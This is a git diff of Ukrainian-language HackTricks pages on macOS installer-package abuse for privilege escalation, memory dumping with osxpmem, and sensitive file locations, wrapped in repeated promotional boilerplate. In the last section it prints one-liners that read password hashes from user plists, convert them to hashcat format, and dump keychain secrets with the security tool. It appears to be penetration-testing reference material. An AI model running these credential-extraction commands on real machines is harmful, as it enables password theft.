<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Експерт з червоної команди HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Зловживання установниками macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та вправляйтеся в хакінгу AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та вправляйтеся в хакінгу GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація про Pkg
|
||||
|
||||
Установочний пакет macOS (також відомий як файл `.pkg`) - це формат файлу, який використовується macOS для **розподілу програмного забезпечення**. Ці файли схожі на **коробку, яка містить все, що потрібно для встановлення та правильної роботи програми**.
|
||||
Установочний пакет macOS (також відомий як файл `.pkg`) - це формат файлу, який використовується macOS для **розподілу програмного забезпечення**. Ці файли схожі на **коробку, яка містить все необхідне для встановлення та правильної роботи програми**.
|
||||
|
||||
Сам файл пакету є архівом, який містить **ієрархію файлів та каталогів, які будуть встановлені на цільовий** комп'ютер. Він також може включати **сценарії** для виконання завдань до та після встановлення, наприклад, налаштування файлів конфігурації або очищення старих версій програмного забезпечення.
|
||||
|
||||
|
@ -25,7 +26,7 @@
|
|||
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
|
||||
* **Distribution (xml)**: Налаштування (назва, текст вітання...) та сценарії/перевірки встановлення
|
||||
* **PackageInfo (xml)**: Інформація, вимоги до встановлення, місце встановлення, шляхи до сценаріїв для запуску
|
||||
* **PackageInfo (xml)**: Інформація, вимоги до встановлення, місце встановлення, шляхи до сценаріїв для виконання
|
||||
* **Bill of materials (bom)**: Список файлів для встановлення, оновлення або видалення з правами доступу до файлів
|
||||
* **Payload (CPIO архів зі стисненням gzip)**: Файли для встановлення в `install-location` з PackageInfo
|
||||
* **Scripts (CPIO архів зі стисненням gzip)**: Сценарії до та після встановлення та інші ресурси, розпаковані в тимчасовий каталог для виконання.
|
||||
|
@ -42,33 +43,37 @@ xar -xf "/path/to/package.pkg"
|
|||
cat Scripts | gzip -dc | cpio -i
|
||||
cpio -i < Scripts
|
||||
```
|
||||
Для візуалізації вмісту інсталятора без розпакування його вручну ви також можете використовувати безкоштовний інструмент [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
|
||||
Для візуалізації вмісту установника без ручного розпакування ви також можете використовувати безкоштовний інструмент [**Suspicious Package**](https://mothersruin.com/software/SuspiciousPackage/).
|
||||
|
||||
## Основна інформація про DMG
|
||||
|
||||
Файли DMG, або образи диска Apple, є форматом файлу, який використовується macOS від Apple для образів дисків. Файл DMG суттєво є **монтованим образом диска** (він містить власну файлову систему), який містить сирі блочні дані, які зазвичай стиснуті та іноді зашифровані. Коли ви відкриваєте файл DMG, macOS **монтує його, ніби це фізичний диск**, що дозволяє вам отримати доступ до його вмісту.
|
||||
Файли DMG, або образи диска Apple, - це формат файлу, який використовується macOS від Apple для образів дисків. Файл DMG суттєво є **монтуємим образом диска** (він містить власну файлову систему), який містить сирі блочні дані, які зазвичай стиснуті, а іноді зашифровані. Коли ви відкриваєте файл DMG, macOS **монтує його, ніби це фізичний диск**, що дозволяє вам отримати доступ до його вмісту.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зверніть увагу, що установники **`.dmg`** підтримують **так багато форматів**, що у минулому деякі з них, що містять вразливості, були використані для отримання **виконання коду ядра**.
|
||||
{% endhint %}
|
||||
|
||||
### Ієрархія
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (225).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ієрархія файлу DMG може бути різною в залежності від вмісту. Однак для DMG-файлів програм зазвичай слідує ця структура:
|
||||
Ієрархія файлу DMG може бути різною в залежності від вмісту. Однак для DMG-файлів програм зазвичай слідує така структура:
|
||||
|
||||
* Верхній рівень: Це корінь образу диска. Він часто містить програму та, можливо, посилання на папку Applications.
|
||||
* Додаток (.app): Це справжня програма. У macOS програма зазвичай є пакетом, який містить багато окремих файлів та папок, що складають програму.
|
||||
* Посилання на додатки: Це ярлик до папки Applications у macOS. Мета полягає в тому, щоб зробити встановлення програми легким. Ви можете перетягнути файл .app на цей ярлик, щоб встановити додаток.
|
||||
* Додаток (.app): Це справжня програма. В macOS програма зазвичай є пакетом, який містить багато окремих файлів та папок, що складають програму.
|
||||
* Посилання на додатки: Це ярлик до папки Applications в macOS. Мета полягає в тому, щоб зробити встановлення програми легким. Ви можете перетягнути файл .app на цей ярлик, щоб встановити додаток.
|
||||
|
||||
## Підвищення привілеїв через зловживання pkg
|
||||
|
||||
### Виконання з публічних каталогів
|
||||
|
||||
Якщо перед або після скрипт встановлення, наприклад, виконується з **`/var/tmp/Installerutil`**, і зловмисник може контролювати цей скрипт, він може підвищити привілеї при кожному його виконанні. Або інший схожий приклад:
|
||||
Якщо передустановочний або післяустановочний скрипт, наприклад, виконується з **`/var/tmp/Installerutil`**, і зловмисник може контролювати цей скрипт, він може підвищити привілеї кожного разу, коли він виконується. Або інший схожий приклад:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/Pasted Graphic 5.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption><p><a href="https://www.youtube.com/watch?v=kCXhIYtODBg">https://www.youtube.com/watch?v=kCXhIYtODBg</a></p></figcaption></figure>
|
||||
|
||||
### AuthorizationExecuteWithPrivileges
|
||||
|
||||
Це [публічна функція](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), яку викликають кілька інсталяторів та оновлень для **виконання чогось як root**. Ця функція приймає **шлях** до **файлу**, який **виконується** як параметр, однак, якщо зловмисник може **змінити** цей файл, він зможе **зловживати** його виконанням з правами root для **підвищення привілеїв**.
|
||||
Це [публічна функція](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg), яку викликають кілька установників та оновлювачів для **виконання чогось як root**. Ця функція приймає **шлях** до **файлу**, який **виконується** як параметр, однак, якщо зловмисник може **змінити** цей файл, він зможе **зловживати** його виконанням з правами root для **підвищення привілеїв**.
|
||||
```bash
|
||||
# Breakpoint in the function to check wich file is loaded
|
||||
(lldb) b AuthorizationExecuteWithPrivileges
|
||||
|
@ -76,9 +81,9 @@ cpio -i < Scripts
|
|||
```
|
||||
### Виконання шляхом монтування
|
||||
|
||||
Якщо програмний інсталятор записує дані в `/tmp/fixedname/bla/bla`, можливо **створити монтировання** над `/tmp/fixedname` без власників, щоб **змінювати будь-який файл під час установки** для зловживання процесом установки.
|
||||
Якщо програмний інсталятор записує дані до `/tmp/fixedname/bla/bla`, можливо **створити монтування** над `/tmp/fixedname` без власників, тому ви зможете **змінювати будь-який файл під час установки** для зловживання процесом установки.
|
||||
|
||||
Прикладом цього є **CVE-2021-26089**, який зміг **перезаписати періодичний скрипт**, щоб отримати виконання як root. Для отримання додаткової інформації перегляньте виступ: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
Прикладом цього є **CVE-2021-26089**, який зміг **перезаписати періодичний скрипт**, щоб отримати виконання як root. Для отримання додаткової інформації перегляньте доповідь: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
|
||||
|
||||
## pkg як шкідливе ПЗ
|
||||
|
||||
|
@ -86,13 +91,14 @@ cpio -i < Scripts
|
|||
|
||||
Можливо просто створити файл **`.pkg`** з **перед та після-інсталяційними скриптами** без будь-якого навантаження.
|
||||
|
||||
### JS у файлі розподілу xml
|
||||
### JS у файлі Distribution xml
|
||||
|
||||
Можливо додати теги **`<script>`** у файл розподілу xml пакета, і цей код буде виконаний, і він може **виконувати команди** за допомогою **`system.run`**:
|
||||
Можливо додати теги **`<script>`** у файл **distribution xml** пакету, і цей код буде виконаний, і він може **виконувати команди** за допомогою **`system.run`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1043).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Посилання
|
||||
|
||||
* [**DEF CON 27 - Unpacking Pkgs A Look Inside Macos Installer Packages And Common Security Flaws**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
|
||||
* [**OBTS v4.0: "The Wild World of macOS Installers" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
|
||||
* [**DEF CON 27 - Unpacking Pkgs A Look Inside MacOS Installer Packages**](https://www.youtube.com/watch?v=kCXhIYtODBg)
|
||||
|
|
|
@ -1,28 +1,43 @@
|
|||
# Дамп пам'яті macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному вебі** та пропонує **безкоштовні** функціональні можливості для перевірки, чи були **компанія або її клієнти скомпрометовані** **вірусами-крадіями**.
|
||||
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вірусів-вимагачів, що виникають внаслідок вірусів, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Артефакти пам'яті
|
||||
|
||||
### Файли свопу
|
||||
### Файли обміну
|
||||
|
||||
Файли свопу, такі як `/private/var/vm/swapfile0`, служать як **кеші, коли фізична пам'ять заповнена**. Коли в фізичній пам'яті не залишається місця, її дані переносяться до файлу свопу, а потім знову переносяться до фізичної пам'яті за потреби. Можуть бути присутні кілька файлів свопу з назвами, такими як swapfile0, swapfile1 і так далі.
|
||||
Файли обміну, такі як `/private/var/vm/swapfile0`, служать як **кеші**, коли фізична пам'ять заповнена. Коли в фізичній пам'яті не залишається місця, її дані переносяться до файлу обміну, а потім знову переносяться до фізичної пам'яті за потреби. Можуть бути присутні кілька файлів обміну з назвами, такими як swapfile0, swapfile1 та інші.
|
||||
|
||||
### Образ гібернації
|
||||
|
||||
Файл, розташований за адресою `/private/var/vm/sleepimage`, є важливим під час **режиму гібернації**. **Дані з пам'яті зберігаються в цьому файлі під час гібернації OS X**. Після прокидання комп'ютера система отримує дані пам'яті з цього файлу, що дозволяє користувачеві продовжити роботу з того місця, де він закінчив.
|
||||
Файл, розташований за шляхом `/private/var/vm/sleepimage`, є важливим під час **режиму гібернації**. **Дані з пам'яті зберігаються в цьому файлі під час гібернації OS X**. Після прокидання комп'ютера система отримує дані пам'яті з цього файлу, що дозволяє користувачеві продовжити роботу з того місця, де він закінчив.
|
||||
|
||||
Варто зауважити, що на сучасних системах MacOS цей файл зазвичай шифрується з метою безпеки, що ускладнює відновлення.
|
||||
|
||||
|
@ -30,13 +45,13 @@
|
|||
|
||||
### Журнали тиску на пам'ять
|
||||
|
||||
Ще один важливий файл, пов'язаний з пам'яттю в системах MacOS, - це **журнали тиску на пам'ять**. Ці журнали розташовані в `/var/log` і містять докладну інформацію про використання пам'яті системою та події тиску на пам'ять. Вони можуть бути особливо корисні для діагностики питань, пов'язаних з пам'яттю, або для розуміння того, як система керує пам'яттю з часом.
|
||||
Ще одним важливим файлом, пов'язаним з пам'яттю в системах MacOS, є **журнал тиску на пам'ять**. Ці журнали розташовані в `/var/log` і містять докладну інформацію про використання пам'яті системою та події тиску на пам'ять. Вони можуть бути особливо корисні для діагностики питань, пов'язаних з пам'яттю, або для розуміння того, як система керує пам'яттю з часом.
|
||||
|
||||
## Дамп пам'яті за допомогою osxpmem
|
||||
|
||||
Для дампу пам'яті на комп'ютері з MacOS можна використовувати [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
Для дампу пам'яті на комп'ютері з MacOS ви можете використовувати [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
|
||||
|
||||
**Примітка**: Наведені інструкції працюватимуть лише для Mac з архітектурою Intel. Цей інструмент зараз заархівований, а останнє випуск було в 2017 році. Завантажений бінарний файл, використовуючи наведені нижче інструкції, призначений для чіпів Intel, оскільки Apple Silicon не існував у 2017 році. Можливо, що можна скомпілювати бінарний файл для архітектури arm64, але вам доведеться спробувати самостійно.
|
||||
**Примітка**: Наведені інструкції працюватимуть лише для Mac з архітектурою Intel. Цей інструмент зараз заархівований, а останнє оновлення було у 2017 році. Завантажений бінарний файл за допомогою наведених нижче інструкцій призначений для чіпів Intel, оскільки Apple Silicon не існував у 2017 році. Можливо, що можна скомпілювати бінарний файл для архітектури arm64, але вам доведеться спробувати самостійно.
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -51,9 +66,9 @@ sudo kextutil "/tmp/MacPmem.kext"
|
|||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**Інші помилки** можуть бути виправлені, дозволивши завантаження kext у "Безпека та конфіденційність --> Загальне", просто **дозвольте** це.
|
||||
**Інші помилки** можуть бути виправлені шляхом **дозволу завантаження kext** в "Безпека та конфіденційність --> Загальне", просто **дозвольте** це.
|
||||
|
||||
Ви також можете використати цей **онелайнер**, щоб завантажити програму, завантажити kext та витягнути пам'ять:
|
||||
Ви також можете використати цей **онелайнер** для завантаження програми, завантаження kext та вивантаження пам'яті:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -62,16 +77,29 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковий двигун, який працює на **темному вебі** і пропонує **безкоштовні** функціональні можливості для перевірки, чи були **компрометовані** компанія або її клієнти **викрадачами шкідливих програм**.
|
||||
|
||||
Основна мета WhiteIntel - боротьба з захопленням облікових записів та атаками від шифрувального програмного забезпечення, що виникають від шкідливих програм, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їх двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДТРИМКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,44 @@
|
|||
# Чутливі місця macOS
|
||||
# Чутливі місця macOS та цікаві демони
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Паролі
|
||||
|
||||
### Тіньові паролі
|
||||
|
||||
Тіньовий пароль зберігається разом із конфігурацією користувача в plist-файлах, розташованих в **`/var/db/dslocal/nodes/Default/users/`**.\
|
||||
Наступний одностроковий вираз може бути використаний для виведення **всієї інформації про користувачів** (включаючи інформацію про хеш):
|
||||
Наступний одностроковий вираз може бути використаний для виведення **всієї інформації про користувачів** (включаючи інформацію про хеш):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**Сценарії, подібні до цього**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) або [**цей**](https://github.com/octomagon/davegrohl.git) можуть бути використані для перетворення хешу в **формат hashcat**.
|
||||
[**Сценарії, подібні до цього**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) або [**цього**](https://github.com/octomagon/davegrohl.git) можуть бути використані для перетворення хешу у формат **hashcat**.
|
||||
|
||||
Альтернативний однорядковий інструмент, який виведе дані облікових записів всіх несервісних облікових записів у форматі hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
Альтернативний однорядковий інструмент, який виведе дані облікових записів всіх неслужбових облікових записів у форматі hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Витік ключів
|
||||
|
||||
Зверніть увагу, що при використанні бінарного файлу security для **витягування розшифрованих паролів**, користувачеві буде запропоновано декілька запитів на дозвіл цієї операції.
|
||||
Зверніть увагу, що при використанні бінарного файлу безпеки для **витягування розшифрованих паролів**, користувачеві буде запропоновано декілька запитань для дозволу цієї операції.
|
||||
```bash
|
||||
#security
|
||||
secuirty dump-trust-settings [-s] [-d] #List certificates
|
||||
|
@ -54,9 +55,9 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
|||
|
||||
### Огляд Keychaindump
|
||||
|
||||
Інструмент з назвою **keychaindump** був розроблений для вилучення паролів з ключниць macOS, але він має обмеження на новіших версіях macOS, таких як Big Sur, як вказано в [обговоренні](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Використання **keychaindump** вимагає від зловмисника отримання доступу та підвищення привілеїв до **root**. Інструмент використовує той факт, що ключниця за замовчуванням розблоковується при вході користувача для зручності, що дозволяє програмам отримувати до неї доступ без необхідності повторного введення пароля користувача. Однак, якщо користувач вирішить блокувати свою ключницю після кожного використання, **keychaindump** стає неефективним.
|
||||
